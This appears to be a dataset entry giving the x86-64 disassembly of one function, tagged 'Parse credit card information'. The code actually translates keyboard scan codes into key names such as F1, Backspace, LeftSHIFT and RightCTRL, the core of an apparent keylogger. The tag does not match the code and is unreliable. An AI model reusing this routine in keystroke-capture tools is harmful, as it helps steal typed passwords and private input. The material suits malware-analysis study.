Function at 0x140001630
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0xb0
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x20], rdx
xor eax, eax
cmp dx, 1
jne 0x140001686
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 3
mov qword [rcx + 0x18], 0xf
mov ecx, dword [0x1400053f4]
mov word [rdi], cx
movzx ecx, byte [0x1400053f6]
mov byte [rdi + 2], cl
mov byte [rdi + 3], al
jmp 0x1400020f5
cmp bx, 0x3b
jne 0x1400016af
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x3146
mov byte [rcx + 2], al
jmp 0x1400020f5
cmp bx, 0x3c
jne 0x1400016d8
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x3246
mov byte [rcx + 2], al
jmp 0x1400020f5
cmp bx, 0x3d
jne 0x140001701
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x3346
mov byte [rcx + 2], al
jmp 0x1400020f5
cmp bx, 0x3e
jne 0x14000172a
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x3446
mov byte [rcx + 2], al
jmp 0x1400020f5
cmp bx, 0x3f
jne 0x140001753
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x3546
mov byte [rcx + 2], al
jmp 0x1400020f5
cmp bx, 0x40
jne 0x14000177c
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x3646
mov byte [rcx + 2], al
jmp 0x1400020f5
cmp bx, 0x41
jne 0x1400017a5
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x3746
mov byte [rcx + 2], al
jmp 0x1400020f5
cmp bx, 0x42
jne 0x1400017ce
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x3846
mov byte [rcx + 2], al
jmp 0x1400020f5
cmp bx, 0x43
jne 0x1400017f7
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x3946
mov byte [rcx + 2], al
jmp 0x1400020f5
cmp bx, 0x44
jne 0x14000182f
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 3
mov qword [rcx + 0x18], 0xf
mov eax, dword [0x1400053f8]
mov word [rcx], ax
movzx eax, byte [0x1400053fa]
mov byte [rcx + 2], al
mov byte [rcx + 3], 0
jmp 0x1400020f5
cmp bx, 0x57
jne 0x140001867
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 3
mov qword [rcx + 0x18], 0xf
mov eax, dword [0x1400053fc]
mov word [rcx], ax
movzx eax, byte [0x1400053fe]
mov byte [rcx + 2], al
mov byte [rcx + 3], 0
jmp 0x1400020f5
cmp bx, 0x58
jne 0x14000189f
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 3
mov qword [rcx + 0x18], 0xf
mov eax, dword [0x140005400]
mov word [rcx], ax
movzx eax, byte [0x140005402]
mov byte [rcx + 2], al
mov byte [rcx + 3], 0
jmp 0x1400020f5
cmp bx, 0x29
jne 0x1400018c5
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x60
jmp 0x1400020f5
cmp bx, 2
jne 0x1400018eb
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x31
jmp 0x1400020f5
cmp bx, 3
jne 0x140001911
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x32
jmp 0x1400020f5
cmp bx, 4
jne 0x140001937
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x33
jmp 0x1400020f5
cmp bx, 5
jne 0x14000195d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x34
jmp 0x1400020f5
cmp bx, 6
jne 0x140001983
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x35
jmp 0x1400020f5
cmp bx, 7
jne 0x1400019a9
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x36
jmp 0x1400020f5
cmp bx, 8
jne 0x1400019cf
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x37
jmp 0x1400020f5
cmp bx, 9
jne 0x1400019f5
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x38
jmp 0x1400020f5
cmp bx, 0xa
jne 0x140001a1b
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x39
jmp 0x1400020f5
cmp bx, 0xb
jne 0x140001a41
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x30
jmp 0x1400020f5
cmp bx, 0xc
jne 0x140001a67
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x2d
jmp 0x1400020f5
cmp bx, 0xd
jne 0x140001a8d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 1
mov qword [rcx + 0x18], 0xf
mov word [rcx], 0x3d
jmp 0x1400020f5
cmp bx, 0xe
jne 0x140001ac8
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 9
mov qword [rcx + 0x18], 0xf
movsd xmm0, qword [str.Backspace]
movsd qword [rcx], xmm0
movzx eax, byte [0x140005410]
mov byte [rcx + 8], al
mov byte [rcx + 9], 0
jmp 0x1400020f5
cmp bx, 0x52
jne 0x140001adf
lea rdx, [0x140005414]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x47
jne 0x140001af6
lea rdx, [0x140005418]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x49
jne 0x140001b0d
lea rdx, [0x14000541c]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0xf
jne 0x140001b24
lea rdx, [0x140005420]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x10
jne 0x140001b3b
lea rdx, str.QWERTYUIOP___
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x11
jne 0x140001b52
lea rdx, [0x140005428]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x12
jne 0x140001b69
lea rdx, [0x14000542c]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x13
jne 0x140001b80
lea rdx, [0x140005430]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x14
jne 0x140001b97
lea rdx, [0x140005434]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x15
jne 0x140001bae
lea rdx, [0x140005438]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x16
jne 0x140001bc5
lea rdx, [0x14000543c]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x17
jne 0x140001bdc
lea rdx, [0x140005440]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x18
jne 0x140001bf3
lea rdx, [0x140005444]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x19
jne 0x140001c0a
lea rdx, [0x140005448]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x1a
jne 0x140001c21
lea rdx, [0x14000544c]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x1b
jne 0x140001c38
lea rdx, [0x140005450]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x2b
jne 0x140001c4f
lea rdx, [0x140005454]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x53
jne 0x140001c66
lea rdx, [0x140005458]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x4f
jne 0x140001c7d
lea rdx, [0x14000545c]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x51
jne 0x140001c94
lea rdx, [0x140005460]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x3a
jne 0x140001cab
lea rdx, str.CAPS
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x1e
jne 0x140001cc2
lea rdx, str.ASDFGHJKL_
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x1f
jne 0x140001cd9
lea rdx, [0x140005470]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x20
jne 0x140001cf0
lea rdx, [0x140005474]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x21
jne 0x140001d07
lea rdx, [0x140005478]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x22
jne 0x140001d1e
lea rdx, [0x14000547c]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x23
jne 0x140001d35
lea rdx, [0x140005480]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x24
jne 0x140001d4c
lea rdx, [0x140005484]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x25
jne 0x140001d63
lea rdx, [0x140005488]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x26
jne 0x140001d7a
lea rdx, [0x14000548c]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x27
jne 0x140001d91
lea rdx, [0x140005490]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x28
jne 0x140001da8
lea rdx, [0x140005494]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x1c
jne 0x140001dbf
lea rdx, [0x140005498]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x2a
jne 0x140001dd6
lea rdx, str.LeftSHIFT
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x2c
jne 0x140001ded
lea rdx, str.ZXVBNM_._
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x2d
jne 0x140001e04
lea rdx, [0x1400054b0]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x2e
jne 0x140001e1b
lea rdx, [0x1400053b0]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x2f
jne 0x140001e32
lea rdx, [0x1400054b4]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x30
jne 0x140001e49
lea rdx, [0x1400054b8]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x31
jne 0x140001e60
lea rdx, [0x1400054bc]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x32
jne 0x140001e77
lea rdx, [0x1400054c0]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x33
jne 0x140001e8e
lea rdx, [0x1400054c4]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x34
jne 0x140001ea5
lea rdx, [0x1400054c8]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x35
jne 0x140001ebc
lea rdx, [0x1400054cc]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x36
jne 0x140001ed3
lea rdx, [0x1400054d0]
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x48
jne 0x140001eea
lea rdx, str.UpArrow
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x1d
jne 0x140001f2b
movzx eax, word [rsp + 0x22]
cmp ax, 2
jb 0x140001f1a
sub ax, 2
cmp ax, 1
ja 0x1400020f8
lea rdx, str.RightCTRL
call fcn.140002170
jmp 0x1400020f5
lea rdx, str.LeftCTRL
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x5b
jne 0x140001f42
lea rdx, str.LeftWIN
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x38
jne 0x140001f83
movzx eax, word [rsp + 0x22]
cmp ax, 2
jb 0x140001f72
sub ax, 2
cmp ax, 1
ja 0x1400020f8
lea rdx, str.RightALT
call fcn.140002170
jmp 0x1400020f5
lea rdx, str.LeftALT
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x39
jne 0x140001f9a
lea rdx, str.Space
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x5c
jne 0x140001fb1
lea rdx, str.RightWIN
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x4b
jne 0x140001fc8
lea rdx, str.LeftArrow
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x50
jne 0x140001fdf
lea rdx, str.DownArrow
call fcn.140002170
jmp 0x1400020f5
cmp bx, 0x4d
jne 0x140001ff6
lea rdx, str.RightArrow
call fcn.140002170
jmp 0x1400020f5
movzx edx, word [rsp + 0x22]
lea rcx, [rsp + 0x90]
call fcn.1400022d0
nop
movzx edx, bx
lea rcx, [rsp + 0x30]
call fcn.1400022d0
nop
lea r8, [rsp + 0x30]
lea rdx, [0x14000556c]
lea rcx, [rsp + 0x70]
call fcn.1400024b0
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1400025e0
nop
lea r9, [rsp + 0x90]
mov r8, rax
mov rcx, rdi
call fcn.140002810
nop
mov r8, qword [rsp + 0x68]
cmp r8, 0x10
jb 0x140002068
inc r8
mov rdx, qword [rsp + 0x50]
call fcn.140002290
movdqa xmm0, xmmword [0x1400055a0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov r8, qword [rsp + 0x88]
cmp r8, 0x10
jb 0x140002096
inc r8
mov rdx, qword [rsp + 0x70]
call fcn.140002290
movdqa xmm0, xmmword [0x1400055a0]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
mov r8, qword [rsp + 0x48]
cmp r8, 0x10
jb 0x1400020c4
inc r8
mov rdx, qword [rsp + 0x30]
call fcn.140002290
movdqa xmm0, xmmword [0x1400055a0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0xa8]
cmp r8, 0x10
jb 0x1400020f5
inc r8
mov rdx, qword [rsp + 0x90]
call fcn.140002290
mov rax, rdi
mov rbx, qword [rsp + 0xd0]
add rsp, 0xb0
pop rdi
ret